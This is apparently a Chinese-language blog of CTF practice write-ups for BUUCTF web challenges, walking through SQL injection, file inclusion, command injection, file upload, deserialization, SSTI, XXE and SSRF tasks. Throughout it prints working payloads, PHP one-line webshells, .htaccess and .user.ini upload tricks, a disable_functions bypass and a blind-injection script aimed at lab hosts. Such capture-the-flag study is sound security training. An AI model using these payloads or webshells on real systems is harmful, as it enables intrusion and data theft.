BUU题目练习
2021.10.23打了浙江省省赛预赛,web全程坐牢
结果fmyyy师傅说都是基础题我绷不住了,决定继续刷题之路
[HCTF 2018]WarmUp
拿到代码,先进行一波代码审计,这里我直接贴上我审计好的图
总体来说,大概是三次白名单检测,两次截取第一个问号前面的内容,并且还有个hint.php,提示flag在ffffllllaaaagggg中,只要在三次白名单检测里其中任何一次检测成功即可,其中page变量中途被截取以后变成了_page变量,并且最后_page变量经过了一次url解码,我们就想办法让他在三次白名单检测当中检测到我们的source.php或者hint.php,这里他既然有第三次,应该是安排在了第三次检测到,我们逆向推回去,第三次在第一个问号前面检测到了hint.php,原来就是file=hint.php?第三次检测之前就是第二次截取,第二次截取之前是一次url解码,但是我们geit请求提交以后网站自动会进行一次url解码,所以这里手动给问号加两次次url编码得到file=hint.php%253F这样看下来大概是没问题了,然后进行我们的目录穿越达到一个文件包含的目的
payload:
1 | source.php?file=source.php%253F/../../../../ffffllllaaaagggg |
[极客大挑战 2019]EasySQL
看名字应该是sql注入题,直接万能密码得到flag
Payload:
1 | check.php?username=1%27+or+1%3D1%23&password=123456 |
[极客大挑战 2019]Havefun
这题右键查看源代码,发现被注释了一部分,我们这里直接get传参就得到flag了
1 | $cat=$_GET['cat']; |
payload:
1 | ?cat=dog |
[强网杯 2019]随便注
常规的sql注入测试一下,输入 1’ order by 3#的时候报错了,说明只有两个字段
发现过滤了一些东西,这里用堆叠注入先看一下
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
发现flag字段,但是过滤了增删改查的语句这就很难受了
这里我也不会,直接上Payload
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
还有一种思路是通过rename把words表名改为其他的,把1919810931114514改为words,给新的words表增加新的列名id,把flag改名为data;
Payload
1 | 1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);# |
[ACTF2020 新生赛]Include
应该是考文件包含,但是直接包含flag.php里没有,这里考的就是php伪协议,直接上payload
1 | /?file=php://filter/read=convert.base64-encode/resource=flag.php |
解码即可得到flag
[SUCTF 2019]EasySQL
这题输入1和2-1结果一样,应该是数值型的
这里我使用order by输出nonono,应该是被过滤了,union联合查询应该不行了,然后也不报错,报错注入也不行了,堆叠查询可以
1 | 1;show databases# |
然后就坐牢了,直接看了WP。
解法1
直接猜测后端语句为
1 | sql="select".$_POST['query']."|| flag from Flag" |
我们这时候如果$_POST[‘query’]=*,1,后端语句就变成了
1 | sql="select *,1|| flag from Flag" |
等效为
1 | sql="select *,flag from Flag" |
解法2
在解法1的基础上猜测出来了后端语句是
1 | sql="select".$_POST['query']."|| flag from Flag" |
系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
我们这里只需要把sql_mode改为pipes_as_concat即可
Payload
1 | 1;set sql_mode=pipes_as_concat;select 1 |
[极客大挑战 2019]Secret File
打开以后啥也看不到,右键查看源代码会发现一个Archive_room.php
点了一下serect以后就查阅结束,估计是跳的很快,我们抓个包看看
提示secr3t.php文件,我们访问看看,访问得到如下代码
1 | <html> |
大概意思就是不能出现../,tp,unput,data这些字符,并且大小写也没用,这里直接伪协议吧,直接给出payload
1 | secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php |
得到base64解密即可
[ACTF2020 新生赛]Exec
看名字就是一道RCE的题,进去以后是一个ping的功能
这里直接用管道符即可,我们先找一下flag的位置
1 | 127.0.0.1;cd /;ls |
发现flag,用cat查看一下即可
1 | 127.0.0.1;cat /flag |
[极客大挑战 2019]LoveSQL
还是sql注入,万能密码只能拿到一个admin的md5密文吧(我猜的,没试过)
直接联合查询梭哈,先判断几列,然后爆表爆字段
1 | 1' order by 4# 报错,说明是三列 |
显示的有点乱直接F12查看就 好了
[GXYCTF2019]Ping Ping Ping
提示?ip=,盲猜是ping ip的,get方式传入参数ip,导致RCE,直接开始梭哈
确定了一下确实是get传入ip参数,然后ping传入的ip,我们这里直接开始找flag
1 | ?ip=127.0.0.1;cd /;ls |
但是这里提示fxck your symbol!,应该是存在过滤
空格也被过滤了,我们可以使用${IFS}来替代空格绕过过滤
1 | ?ip=127.0.0.1|ls 查看到当前位置是存在flag.php的,想办法查看他即可 |
我们这里直接来看游戏他过滤了什么,
1 | ?ip=127.0.0.1|cat$IFS$1index.php |
1 | <?php |
可以看到这里还有一个$a变量,这里就可能存在变量覆盖的问题,所以我们可以传入一个a=g,然后构造fla$a.php
Payload:
1 | ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
右键查看源代码即可得到flag
[极客大挑战 2019]Knife
这也太简单了,直接连webshell即可得到flag
[极客大挑战 2019]Http
直接右键查看源代码,发现Secret.php,访问看看是啥
提示不是从https://Sycsecret.buuoj.cn访问过来的,抓包添加Referer头,把referer头改为这个网站即可
提示不是使用这个Syclover浏览的,我们改一下UA头,提示只能本地阅读,那再添加一个XFF头
把XFF头改为127.0.0.1即可得到flag
[极客大挑战 2019]Upload
得到的是一个上传点,图片啥的,我换了png和jpg上传都提示not image,就很奇怪,查看源代码找到form表单
1 | <form action="upload_file.php" method="post" enctype="multipart/form-data"> |
经过测试,php php3 php4 php5都不行,改到phtml即可,但是不能待遇<?,所以使用如下的一句话木马
1 | GIF89a? <script language="php">eval($_REQUEST[1])</script> |
并且需要改一下文件格式为image/png
蚁剑连接即可得到flag
1 |
|
大概源代码的意思就是,get方法传入一个code参数并且code参数要少于40个长度并且code参数里不能出现字母和数字
这里可以使用异或或者取反绕过
异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。
先构造出phpinfo来看看他php版本什么的信息,看看他禁用了什么函数
我们直接构造一个php文件来把phpinfo构造出来
1 |
|
输出出来的结果:%8F%97%8F%96%91%99%90
Payload:
1 | url/?code=(~%8F%97%8F%96%91%99%90)(); |
禁用了很多函数,我们尝试构造一个木马,先连上蚁剑
1 |
|
Payload:
1 | url/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); |
根目录下可以看到/flag和/readflag两个文件,应该是要通过执行/readflag来获取Flag的
这里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
在/tmp目录有上传文件,我们把所需的文件上传到这里,把PHP那个文件重命名为shell.php
需要构造一个新的payload:
1 | “?code=${GET}_;&=assert&_=eval($_POST['cmd'])” |
最后的Payload:
1 | ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so |
异或的构造:
1 | str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/" |
结果太多就不放了,举个例子吧,例如phpinfo
1 | / ^ _ is p |
无需sendmail:巧用LD_PRELOAD突破disable_functions
[RoarCTF 2019]Easy Calc
右键查看源代码,提示了一个calc.php和存在waf
访问calc.php,是一个代码审计,代码如下
1 | <?php |
黑名单里有一些特殊字符,然后后面是一个代码执行,输入phpinfo()试试,不管咋样都提示403,应该是存在WAF,利用php字符串解析特性就可以绕过他
直接构造? num=phpinfo();num前面有个空格,由于/被过滤,可以用chr(47)代替/,然后用scandir来进行目录读取
1 | calc.php? num=1;var_dump(scandir(chr(47))) |
[ACTF2020 新生赛]Upload
找到上传点,直接把后缀改成phtml即可
[极客大挑战 2019]PHP
提到了备份网站,www.zip下载下来了源码,翻了一下,一个index.php一个class.php
反序列化的题,给出class.php的代码
1 | class Name{ |
大概就是要username=admin并且password=100要等于一百,但是wakeup魔术方法会把username换成guest,所以需要通过修改序列化字符串中对象的个数来绕过该方法。
exp:
1 |
|
[极客大挑战 2019]BabySQL
我们之前做一个简单一点的,直接拿三列进行联合查询,发现只有1 #了,应该是存在过滤并且被替换为空格了,双写绕过
1 | 1'ununionion seselectlect 1,2,3# |
1 | 1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 # |
[ACTF2020 新生赛]BackupFile
题目是backupfile,和备份文件有关,试了几个,直接是index.php.bak,给出代码
1 | <?php |
大概就是判断一下key是不是数字,并且key要等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3,php特性吧,数字与字符串弱比较会先把字符串转为数字
payload:
1 | ?key=123 |
[护网杯 2018]easy_tornado
l看题目应该是Python的web框架-Tornado,应该是存在模板注入,给出的提示分别是
1 | flag in /fllllllllllllag |
并且我们可以发现url里存在filename和filehash参数,这里我们直接把filename改成/fllllllllllllag试试,提示error,并且url中带有msg参数=Error,根据题目名称tornado以及主页第二个文件welcome.txt中的render提示,判断是模板注入。render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。
这时候知道filename了还需要知道一个cookie_secret,handler.settings可以得到cookie_secretde的值
把cookie_secret和filename拼接进行md5加密即可
payload:
1 | file?filename=/fllllllllllllag&filehash=d91a4f9f89897f9f91702abec1e2d10a |
[极客大挑战 2019]BuyFlag
右键打开源代码, 发现pay.php
得到flag需要满足100000000元并且是CUIT的学生。我们右键打开源代码可以发现一串php代码
1 | if (isset($_POST['password'])) { |
这里要post一个password和一个money,我们把post参数搞上去money=100000000&password=404a
这里直接发包没反应,继续回来看抓到的包,我们看到了cookie中有一个user=0,我们改成1试试
提示nember太长,换成科学计数法即可,把money换成1e10
[ZJCTF 2019]NiZhuanSiWei
给出源代码
1 | <?php |
get传入text,file,和password,password是序列化以后的字符串,经过一个反序列化的函数以后输出,file是被包含的一个文件,提示了useless.php,并且不能含有flag,text要是welcome to the zjctf
这里text用data协议,file用php伪协议,直接进行包含读取useless.php源代码试试
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php |
把得到的base64解码出来得到如下源码
1 | <?php |
只要把file属性改为flag.php即可,这里给出poc
1 | <?php |
最后payload:
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
右键查看源代码即可
[SUCTF 2019]CheckIn
一道文件上传题,随便传个图片,提示<? in contents!
应该是不让传带有<?内容的,这里直接使用如下一句话木马即可绕过
1 | <script language="php">eval($_REQUEST[1])</script> |
随便上传一个txt试试,提示exif_imagetype:not image!
这应该是一个判断图像类型的函数, 在文件前面加上GIF89a即可绕过,我们这里利用.user.ini下的一个配置来进行文件包含即可。
user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg
先把我们的.user.ini上传到靶机上,然后随便上传一张图片即可
然后到对应的目录蚁剑连接即可
[极客大挑战 2019]HardSQL
额,就一个普通的报错注入,但是过滤了and、= 空格 union等多个sql关键字
直接给出payload吧
1 | 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# |
[MRCTF2020]你传你🐎呢
这题普通上传测试了,发现改为phtml,php3等都不行,直接传.htaccess文件
.htaccess是什么
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
那么现在开始写一个.htaccess文件,里面的内容为:
1 | <FilesMatch "1.png"> |
然后把这个.htaccess上传,这里需要注意把content-type改为image-png
然后把图片马上传即可,我蚁剑测试连接可以成功,好像被ban了system函数,phpinfo()是可以出来的
[网鼎杯 2020 青龙组]AreUSerialz
考代码审计加反序列化以及反序列化中protected属性中的不可见字符\00*\00绕过is_valid()函数
直接上代码吧。
1 | <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}[Result]: |
大概就是一个FileHandler对象,有op,filename,content三个属性以及process(),write(),read(),output()四个方法以及__construct()和__destruct()两个魔术方法
__construct()魔术方法会对对象的属性进行赋值并且执行process()方法,process()根据op的不同来实现不同的功能,这里主要看op=2时,会执行read()和output()方法,write()方法可以把长度小于等于100的字符串读入到filename的文件中,read()就是把filename文件中的内容输出
这里还定义了一个is_valid函数,会判断输入的字符的ASCII值是否在32到125之间,最后__destruct()把op设置为了1,content设置为了空,我们的目的是通过控制read()读取flag.php的内容。
这里主要的点就是绕过is_valid()函数以及__destruct()魔术方法
绕过is_valid()函数
1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
绕过__destruct()魔术方法
源代码是强比较,op是数值型的2===”2”时候是false,op是数值型的2==”2”是true
POC:
1 | <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { public $op=2; public $filename="flag.php"; public $content="hello word";}echo serialize(new FileHandler()); |
[MRCTF2020]Ez_bypass
I put something in F12 for you include ‘flag.php’
打开页面提示按F12,查看源代码,主要代码如下
1 | if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } |
就是一个md5()强比较以及一个is_numeric()的绕过,非常简单
md5()用数组绕过,is_numeric()用1234567a绕过
[GXYCTF2019]BabySQli
应该是sql注入题,盲测了一下,好像or啥的被过滤了,随手试试弱口令,admin登陆以后说wrong pass,右键发现一串代码
拿去解一层base32然后一层base64可以发现他提示我们后端语句
1 | select * from user where username = '$name' |
然后就是漫长的坐牢时间,过滤了=,小括号,or啥的,直接百度看wp了
看了wp以后发现这又get到了一个新知识,这里先把他的关键代码拿出来分析一下吧
1 | if(preg_match("/\(|\)|\=|or/", $name))//过滤了小括号,or,和等号。$name = $_POST['name'];$password = $_POST['pw'];$sql = "select * from user where username = '".$name."'";$result = mysqli_query($con, $sql); if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } }后端接收了账号密码后,居然是直接用接收到的账号作为查询条件进行查询的,查询出来的第二项结果如果不为admin就会die,也就是说输入的账号必须为admin,随后对比admin这行的密码与输入密码是否相等密码储存方式为md5加密后的密码。 |
我们利用联合查询来插入语句
1 | select * from user where uname='admin' union select '1','2','3';此时查询结果出了admin那一行,还会多出一行联合查询的字段,作为数据临时插入。利用这个特性,首先随便选一个密码例如1,md5加密后用它作为临时密码插入。 |
payload:
1 | test'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'&passwd=1 |
知识点:
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
比如:(自己没这个环境也没搭建,借其他博客的图片举个例子,大佬莫怪)
原先的表有这三个字段,有这样的数据内容
我们如果在查询的时候输入这样的查询语句:
发现我们在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。这时候直接在pass框里面输入e10adc3949ba59abbe56e057f20f883e
的md5解密结果就可以了。
[CISCN2019 华北赛区 Day2 Web1]Hack World
随手测一下,发现过滤了如下字符
拿id=(1)=(1)和id=(1)=2发现这里应该是个盲注,前者正常后者提示Error Occured When Fetch Result.
提示flag在表flag,字段为flag中,直接编写脚本跑flag吧(其实我这没跑出来)
1 | import requestsimport stringdef blind_injection(url): flag = '' strings = string.printable for num in range(1,60): for i in strings: payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) post_data = {"id":payload} res = requests.post(url=url,data=post_data) if 'Hello' in res.text: flag += i print(flag) else: continue print(flag)if __name__ == '__main__': url = 'http://a1aaea93-092d-47c7-9bc2-7cc96cb6aef2.node4.buuoj.cn:81/index.php' blind_injection(url) |
[GYCTF2020]Blacklist
和强网杯那个随便注差不多,直接给出payload
1 | 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;# |
[网鼎杯 2018]Fakebook
查看robots.txt文件,发现有源码泄露
1 | <?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }} |
里面有Curl啊,可能存在SSRF漏洞,除此之外我们还能找到一个注入点,就是view.php?no=
这里直接可以使用报错注入
1 | view.php?no=1/**/and/**/updatexml(1,concat('~',(select/**/database()),'~'),1) # |
报错注入可以获得网站的路径是/var/www/html/,只要可以访问到flag.php即可
这时候ssrf的作用就体现出来了,在这ssrf通过http协议无法获取flag,但是curl还支持file协议,构造序列化字符串
1 | <?phpclass UserInfo { public $name = "test"; public $age = 1; public $blog = "file:///var/www/html/flag.php";}$data = new UserInfo();echo serialize($data);?> |
payload:
1 | ?no=-1/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27# |
[GXYCTF2019]BabyUpload
三个过滤。文件类型要是image/jpeg,文件后缀名不能含有ph,文件内容不能含有<?
无法绕过的限制,只能利用.htaccess文件,先传入.htaccess文件
1 | AddType application/x-httpd-php .xxx |
传入如下一句话木马,文件名为1.xxx
1 | <script language="php">eval($_POST['mochu7']);</script> |
1 | a=var_dump(file_get_contents('/flag')); |
[BUUCTF 2018]Online Tool
1 | <?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);}} |
拿到源代码,可以看到有一个system函数,应该就是利用这个system函数来getshell,主要是传入host参数然后进行nmap扫描,但是中途经过了两个函数,分别是escapeshellarg()和escapeshellcmd()
PHP escapeshellarg()+escapeshellcmd() 之殇
1 | 传入的参数是:172.17.0.2' -v -d a=1经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。 |
在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…
1 | ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' |
[RoarCTF 2019]Easy Java
查看源代码,发现有一个Download?filename=help.docx,点击发现java.io.FileNotFoundException:{help.docx}
改为post传参下载到一个help.docx,flag不在这,我们去下载配置文件看看
http://8c0f7673-558d-4f0c-81b3-f6e5d1c180fe.node4.buuoj.cn:81/Download POST:filename=WEB-INF/web.xml
1 | <?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Index</welcome-file> </welcome-file-list> <servlet> <servlet-name>IndexController</servlet-name> <servlet-class>com.wm.ctf.IndexController</servlet-class> </servlet> <servlet-mapping> <servlet-name>IndexController</servlet-name> <url-pattern>/Index</url-pattern> </servlet-mapping> <servlet> <servlet-name>LoginController</servlet-name> <servlet-class>com.wm.ctf.LoginController</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginController</servlet-name> <url-pattern>/Login</url-pattern> </servlet-mapping> <servlet> <servlet-name>DownloadController</servlet-name> <servlet-class>com.wm.ctf.DownloadController</servlet-class> </servlet> <servlet-mapping> <servlet-name>DownloadController</servlet-name> <url-pattern>/Download</url-pattern> </servlet-mapping> <servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet> <servlet-mapping> <servlet-name>FlagController</servlet-name> <url-pattern>/Flag</url-pattern> </servlet-mapping></web-app> |
得到了一个Flag的路径
1 | WEB-INF主要包含一下文件或目录:/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。/WEB-INF/database.properties:数据库配置文件漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 |
下载FlagController.class文件
1 | filename=WEB-INF/classes/com/wm/ctf/FlagController.class |
右键打开可以看到一串base64编码,解码即可
[GXYCTF2019]禁止套娃
这题看了半天,后面发现是git泄露
1 | python githack http://679acb3d-9a0b-447d-9606-ab17d7121568.node4.buuoj.cn/.git/ |
1 | <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); }}// highlight_file(__FILE__);?> |
无参RCE这题就是,首先先确定flag.php是不是在当前目录下我们可以使用如下payload
1 | /index.php?exp=print_r(scandir(current(localeconv()))); |
localeconv()
函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点
而current()
返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了
用这个函数构造
1 | ?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
读取成功,或者
1 | ?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |
array_reverse ( array $array [, bool $preserve_keys = FALSE ] ) : array array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。 array_flip() 交换数组的键和值 array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
原理就是用scandir把目录读出来存到数组里,调节指针使指针指向flag.php
[BJDCTF2020]The mystery of ip
flag.php页面提示了我的ip是xxxxx,hint页面提示了问我他怎么知道我的ip,应该和XFF头有关吧
后面发现是Smarty模板注入
直接添加XFF头进行RCE
1 | X-Forwarded-For: {system("cat ../../../../flag")} |
[GWCTF 2019]我有一个数据库
看到这名字,盲猜phpmyadmin,并且还不需要账号密码就能登录进去,版本号是4.8.1,存在CVE-2018-12613
直接拿payload打吧
1 | ?target=db_datadict.php%253f/../../../../../../../../flag |
[强网杯 2019]高明的黑客
提示网站源码备份到了www.tar.gz,下载下来看看
[BJDCTF2020]Mark loves cat
这题考的是git泄露+变量覆盖漏洞,直接先获取他的源码
1 | python githack.py http://5aaea10a-d682-4e77-8e50-6bc19de04be6.node4.buuoj.cn:81/ |
1 | <?php |
主要的源码如上,在这我直接放出思路吧,我们不一定要让他输出$flag,因为这里有变量覆盖漏洞,通过exit函数也可以直接获得到flag,前提就是把$flag中的flag覆盖到其他变量中去
我们可以先看看第一个exit所处的foreach语句
get获取参数,并且键和传入进去的变量名不能一样,这里肯定不可能,直接排除
第二个exit也没什么好看的,因为只是判断了一下是否get和post中至少传入一个参数
直接看第三个,他exit($is),我们让这里$is里的内容被flag赋过值以后,并且要get或者post一个flag=flag即可
所以原本应该是有一个$is=$flag的过程,但是这里经过变量覆盖以后才会这样赋值
所以覆盖前应该是$$x=$$y,这里的$x=is,$y=flag,所以我们应该get请求一个is=flag&flag=flag
payload:
1 | ?is=flag&flag=flag |
[网鼎杯 2020 朱雀组]phpweb
啥也没有,抓个包看看
一个date然后一个时间的格式,这里盲猜是一个函数加一个参数,直接system ls试试看,提示hacker
应该是有过滤,读一下index.php文件看看,file_get_contents index.php
1 | <?php |
果然禁用了system,看到有个类,想到利用反序列化,因为他那个过滤只对我们输入的post的func进行了检查,在Test类里并没有检查,所以更改Test类中的参数即可将我们的system函数传入
exp:
1 | <?php |
找到flag的位置,查看即可
1 | <?php |
[安洵杯 2019]easy_web
拿到网站,发现他url很可以
1 | index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= |
把这个img拿去base64解码看看,需要解两次base64一次16进制,结果是555.png
我们反向把index.php加密传进去看看源码,得到源代码如下
1 |
|
需要进行md5强比较并且绕过正则,md5强比较如下
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
绕过正则匹配有两种方法,一种是使用sort命令,还有一种解释反斜杠绕过,ca\t 后面的\t会成为 TAB 而绕过
1 | cmd=ca\t%20/flag 这里好像必须是%20 |
【PHP】之4个反斜杠、3个反斜杠的情况
https://blog.csdn.net/weixin_41463193/article/details/83539168
也就是说
1 | echo "\\" 输出结果是\ |
[BSidesCF 2020]Had a bad day
打开页面发现就两个按钮,点击的时候url中的category会变,盲猜sql注入或者文件包含
测试了一下,应该是文件包含,直接php伪协议读源码,这里如果第一次读index.php会发现他自动拼接了一个.php
1 | index.php?category=php://filter/read=convert.base64-encode/resource=index |
源码读出来,给如如下核心代码
1 | <?php |
大概意思就是category中必须有woofers或者meowers或者index,我们直接构造payload
[NCTF2019]Fake XML cookbook
看题目,感觉是XXE啊,随便登陆抓个包看看,应该没错了
直接上payload打吧
1 | <?xml version="1.0" encoding="utf-8"?> |
1 | payload解释: |
[BJDCTF2020]Cookie is so stable
提示cookie,额,也没啥思路,直接看wp。
唉,又是SSTI,做不来,是SSTI里的Twig攻击,判断是哪种模板注入看上图,直接给payload吧,我也不会
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
[ASIS 2019]Unicorn shop
额,开始没看懂啥意思,翻译了一下是独角兽商店,还是没懂,还尝试了半天sql注入,只感觉和unicode有关系,百度了一下才发现考点是unicode编码的安全
这里买1,2,3都是会提示错误的商品,只能买4,然后要花多少钱买,只能填入一个字符。。。直接给出payload吧
1 | id=4&price=%E2%86%81 |
主要就是找unicode里大于1337的字符
https://www.compart.com/en/unicode/U+2181
[安洵杯 2019]easy_serialize_php
1 |
|
